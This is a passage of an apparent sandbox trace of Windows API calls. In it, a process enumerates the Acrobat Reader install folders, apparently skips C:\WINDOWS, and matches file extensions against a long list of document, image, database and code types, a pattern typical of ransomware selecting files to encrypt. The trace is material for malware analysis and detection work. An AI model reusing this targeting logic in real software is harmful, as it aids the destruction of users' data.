ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33155b0 [0265.774] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.774] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0265.774] FindClose (in: hFindFile=0x33155b0 | out: hFindFile=0x33155b0) returned 1 [0265.774] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0265.775] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0265.775] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\hr-hr") returned 106 [0265.775] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\hr-hr") returned 1 [0265.775] lstrlenW (lpString="hr-hr") returned 5 [0265.775] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="hr-hr") returned -1 [0265.775] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42a0fc8 [0265.775] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\hr-hr") returned 106 [0265.775] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\hr-hr\\*", lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33157b0 [0265.776] FindNextFileW (in: hFindFile=0x33157b0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0265.776] FindNextFileW (in: hFindFile=0x33157b0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f33, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0265.776] lstrlenW (lpString="ui-strings.js") returned 13 [0265.776] lstrlenW (lpString=".1cd") returned 4 [0265.776] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0265.776] lstrlenW (lpString=".3ds") returned 4 [0265.776] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0265.776] lstrlenW (lpString=".3fr") returned 4 [0265.776] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0265.776] lstrlenW (lpString=".3g2") returned 4 [0265.776] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0265.776] lstrlenW (lpString=".3gp") returned 4 [0265.776] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0265.776] lstrlenW (lpString=".7z") returned 3 [0265.777] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0265.777] lstrlenW (lpString=".accda") returned 6 [0265.777] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0265.777] lstrlenW (lpString=".accdb") returned 6 [0265.777] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0265.777] lstrlenW (lpString=".accdc") returned 6 [0265.777] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0265.777] lstrlenW (lpString=".accde") returned 6 [0265.777] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0265.777] lstrlenW (lpString=".accdt") returned 6 [0265.777] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0265.777] lstrlenW (lpString=".accdw") returned 6 [0265.777] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0265.777] lstrlenW (lpString=".adb") returned 4 [0265.777] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0265.777] lstrlenW (lpString=".adp") returned 4 [0265.777] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0265.777] lstrlenW (lpString=".ai") returned 3 [0265.777] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0265.777] lstrlenW (lpString=".ai3") returned 4 [0265.777] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0265.778] lstrlenW (lpString=".ai4") returned 4 [0265.778] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0265.778] lstrlenW (lpString=".ai5") returned 4 [0265.778] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0265.778] lstrlenW (lpString=".ai6") returned 4 [0265.778] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0265.778] lstrlenW (lpString=".ai7") returned 4 [0265.778] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0265.778] lstrlenW (lpString=".ai8") returned 4 [0265.778] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0265.778] lstrlenW (lpString=".anim") returned 5 [0265.778] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0265.778] lstrlenW (lpString=".arw") returned 4 [0265.778] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0265.778] lstrlenW (lpString=".as") returned 3 [0265.778] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0265.778] lstrlenW (lpString=".asa") returned 4 [0265.778] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0265.778] lstrlenW (lpString=".asc") returned 4 [0265.779] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0265.779] lstrlenW (lpString=".ascx") returned 5 [0265.779] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0265.779] lstrlenW (lpString=".asm") returned 4 [0265.779] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0265.779] lstrlenW (lpString=".asmx") returned 5 [0265.779] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0265.779] lstrlenW (lpString=".asp") returned 4 [0265.779] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0265.779] lstrlenW (lpString=".aspx") returned 5 [0265.779] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0265.779] lstrlenW (lpString=".asr") returned 4 [0265.779] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0265.779] lstrlenW (lpString=".asx") returned 4 [0265.779] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0265.779] lstrlenW (lpString=".avi") returned 4 [0265.779] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0265.780] lstrlenW (lpString=".avs") returned 4 [0265.780] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0265.780] lstrlenW (lpString=".backup") returned 7 [0265.780] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0265.780] lstrlenW (lpString=".bak") returned 4 [0265.780] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0265.780] lstrlenW (lpString=".bay") returned 4 [0265.780] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0265.780] lstrlenW (lpString=".bd") returned 3 [0265.780] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0265.780] lstrlenW (lpString=".bin") returned 4 [0265.780] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0265.780] lstrlenW (lpString=".bmp") returned 4 [0265.780] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0265.780] lstrlenW (lpString=".bz2") returned 4 [0265.780] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0265.780] lstrlenW (lpString=".c") returned 2 [0265.780] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0265.780] lstrlenW (lpString=".cdr") returned 4 [0265.780] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0265.781] lstrlenW (lpString=".cer") returned 4 [0265.781] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0265.781] lstrlenW (lpString=".cf") returned 3 [0265.781] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0265.781] lstrlenW (lpString=".cfc") returned 4 [0265.781] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0265.781] lstrlenW (lpString=".cfm") returned 4 [0265.781] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0265.781] lstrlenW (lpString=".cfml") returned 5 [0265.781] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0265.781] lstrlenW (lpString=".cfu") returned 4 [0265.781] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0265.781] lstrlenW (lpString=".chm") returned 4 [0265.781] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0265.781] lstrlenW (lpString=".cin") returned 4 [0265.781] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0265.781] lstrlenW (lpString=".class") returned 6 [0265.781] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0265.782] lstrlenW (lpString=".clx") returned 4 [0265.782] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0265.782] lstrlenW (lpString=".config") returned 7 [0265.782] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0265.782] lstrlenW (lpString=".cpp") returned 4 [0265.782] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0265.782] lstrlenW (lpString=".cr2") returned 4 [0265.782] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0265.782] lstrlenW (lpString=".crt") returned 4 [0265.782] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0265.782] lstrlenW (lpString=".crw") returned 4 [0265.782] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0265.782] lstrlenW (lpString=".cs") returned 3 [0265.782] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0265.782] lstrlenW (lpString=".css") returned 4 [0265.782] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0265.782] lstrlenW (lpString=".csv") returned 4 [0265.782] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0265.782] lstrlenW (lpString=".cub") returned 4 [0265.782] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0265.782] lstrlenW (lpString=".dae") returned 4 [0265.783] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0265.783] lstrlenW (lpString=".dat") returned 4 [0265.783] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0265.783] lstrlenW (lpString=".db") returned 3 [0265.783] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0265.783] lstrlenW (lpString=".dbf") returned 4 [0265.783] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0265.783] lstrlenW (lpString=".dbx") returned 4 [0265.783] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0265.783] lstrlenW (lpString=".dc3") returned 4 [0265.783] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0265.783] lstrlenW (lpString=".dcm") returned 4 [0265.783] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0265.783] lstrlenW (lpString=".dcr") returned 4 [0265.783] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0265.783] lstrlenW (lpString=".der") returned 4 [0265.784] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0265.784] lstrlenW (lpString=".dib") returned 4 [0265.784] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0265.784] lstrlenW (lpString=".dic") returned 4 [0265.784] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0265.784] lstrlenW (lpString=".dif") returned 4 [0265.784] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0265.784] lstrlenW (lpString=".divx") returned 5 [0265.784] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0265.784] lstrlenW (lpString=".djvu") returned 5 [0265.784] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0265.785] lstrlenW (lpString=".dng") returned 4 [0265.785] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0265.785] lstrlenW (lpString=".doc") returned 4 [0265.785] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0265.785] lstrlenW (lpString=".docm") returned 5 [0265.785] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0265.785] lstrlenW (lpString=".docx") returned 5 [0265.785] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0265.785] lstrlenW (lpString=".dot") returned 4 [0266.083] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0266.083] lstrlenW (lpString=".dotm") returned 5 [0266.083] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0266.083] lstrlenW (lpString=".dotx") returned 5 [0266.083] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0266.083] lstrlenW (lpString=".dpx") returned 4 [0266.083] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0266.083] lstrlenW (lpString=".dqy") returned 4 [0266.083] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0266.083] lstrlenW (lpString=".dsn") returned 4 [0266.083] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0266.083] lstrlenW (lpString=".dt") returned 3 [0266.084] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0266.084] lstrlenW (lpString=".dtd") returned 4 [0266.084] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0266.084] lstrlenW (lpString=".dwg") returned 4 [0266.084] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0266.084] lstrlenW (lpString=".dwt") returned 4 [0266.084] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0266.084] lstrlenW (lpString=".dx") returned 3 [0266.084] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0266.084] lstrlenW (lpString=".dxf") returned 4 [0266.084] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0266.084] lstrlenW (lpString=".edml") returned 5 [0266.084] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0266.084] lstrlenW (lpString=".efd") returned 4 [0266.084] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0266.084] lstrlenW (lpString=".elf") returned 4 [0266.085] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0266.085] lstrlenW (lpString=".emf") returned 4 [0266.085] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0266.085] lstrlenW (lpString=".emz") returned 4 [0266.086] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0266.086] lstrlenW (lpString=".epf") returned 4 [0266.086] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0266.086] lstrlenW (lpString=".eps") returned 4 [0266.086] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0266.086] lstrlenW (lpString=".epsf") returned 5 [0266.086] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0266.086] lstrlenW (lpString=".epsp") returned 5 [0266.086] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0266.086] lstrlenW (lpString=".erf") returned 4 [0266.086] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0266.086] lstrlenW (lpString=".exr") returned 4 [0266.086] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0266.086] lstrlenW (lpString=".f4v") returned 4 [0266.086] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0266.086] lstrlenW (lpString=".fido") returned 5 [0266.086] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0266.086] lstrlenW (lpString=".flm") returned 4 [0266.086] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0266.086] lstrlenW (lpString=".flv") returned 4 [0266.086] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0266.086] lstrlenW (lpString=".frm") returned 4 [0266.086] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0266.087] lstrlenW (lpString=".fxg") returned 4 [0266.087] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0266.087] lstrlenW (lpString=".geo") returned 4 [0266.087] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0266.087] lstrlenW (lpString=".gif") returned 4 [0266.087] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0266.087] lstrlenW (lpString=".grs") returned 4 [0266.087] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0266.087] lstrlenW (lpString=".gz") returned 3 [0266.087] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0266.087] lstrlenW (lpString=".h") returned 2 [0266.087] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0266.087] lstrlenW (lpString=".hdr") returned 4 [0266.087] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0266.087] lstrlenW (lpString=".hpp") returned 4 [0266.087] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0266.087] lstrlenW (lpString=".hta") returned 4 [0266.087] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0266.087] lstrlenW (lpString=".htc") returned 4 [0266.088] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0266.088] lstrlenW (lpString=".htm") returned 4 [0266.088] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0266.088] lstrlenW (lpString=".html") returned 5 [0266.088] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0266.088] lstrlenW (lpString=".icb") returned 4 [0266.088] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0266.088] lstrlenW (lpString=".ics") returned 4 [0266.088] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0266.088] lstrlenW (lpString=".iff") returned 4 [0266.088] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0266.088] lstrlenW (lpString=".inc") returned 4 [0266.088] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0266.088] lstrlenW (lpString=".indd") returned 5 [0266.088] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0266.088] lstrlenW (lpString=".ini") returned 4 [0266.088] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0266.088] lstrlenW (lpString=".iqy") returned 4 [0266.088] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0266.088] lstrlenW (lpString=".j2c") returned 4 [0266.088] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0266.088] lstrlenW (lpString=".j2k") returned 4 [0266.088] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0266.089] lstrlenW (lpString=".java") returned 5 [0266.089] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0266.089] lstrlenW (lpString=".jp2") returned 4 [0266.089] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0266.089] lstrlenW (lpString=".jpc") returned 4 [0266.089] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0266.089] lstrlenW (lpString=".jpe") returned 4 [0266.089] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0266.089] lstrlenW (lpString=".jpeg") returned 5 [0266.089] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0266.089] lstrlenW (lpString=".jpf") returned 4 [0266.089] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0266.089] lstrlenW (lpString=".jpg") returned 4 [0266.089] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0266.089] lstrlenW (lpString=".jpx") returned 4 [0266.089] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0266.089] lstrlenW (lpString=".js") returned 3 [0266.089] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0266.090] FindNextFileW (in: hFindFile=0x33157b0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f33, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0266.090] FindClose (in: hFindFile=0x33157b0 | out: hFindFile=0x33157b0) returned 1 [0266.090] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0266.090] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0266.090] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\hu-hu") returned 106 [0266.090] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\hu-hu") returned 1 [0266.090] lstrlenW (lpString="hu-hu") returned 5 [0266.090] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="hu-hu") returned -1 [0266.090] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42a0fc8 [0266.090] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\hu-hu") returned 106 [0266.090] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\hu-hu\\*", lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33157b0 [0266.092] FindNextFileW (in: hFindFile=0x33157b0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.092] FindNextFileW (in: hFindFile=0x33157b0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2013, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0266.092] lstrlenW (lpString="ui-strings.js") returned 13 [0266.092] lstrlenW (lpString=".1cd") returned 4 [0266.092] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0266.092] lstrlenW (lpString=".3ds") returned 4 [0266.092] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0266.092] lstrlenW (lpString=".3fr") returned 4 [0266.092] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0266.092] lstrlenW (lpString=".3g2") returned 4 [0266.092] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0266.092] lstrlenW (lpString=".3gp") returned 4 [0266.092] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0266.092] lstrlenW (lpString=".7z") returned 3 [0266.092] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0266.092] lstrlenW (lpString=".accda") returned 6 [0266.092] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0266.092] lstrlenW (lpString=".accdb") returned 6 [0266.093] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0266.093] lstrlenW (lpString=".accdc") returned 6 [0266.093] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0266.093] lstrlenW (lpString=".accde") returned 6 [0266.093] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0266.093] lstrlenW (lpString=".accdt") returned 6 [0266.093] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0266.093] lstrlenW (lpString=".accdw") returned 6 [0266.093] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0266.093] lstrlenW (lpString=".adb") returned 4 [0266.093] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0266.093] lstrlenW (lpString=".adp") returned 4 [0266.093] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0266.093] lstrlenW (lpString=".ai") returned 3 [0266.093] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0266.093] lstrlenW (lpString=".ai3") returned 4 [0266.093] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0266.093] lstrlenW (lpString=".ai4") returned 4 [0266.093] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0266.093] 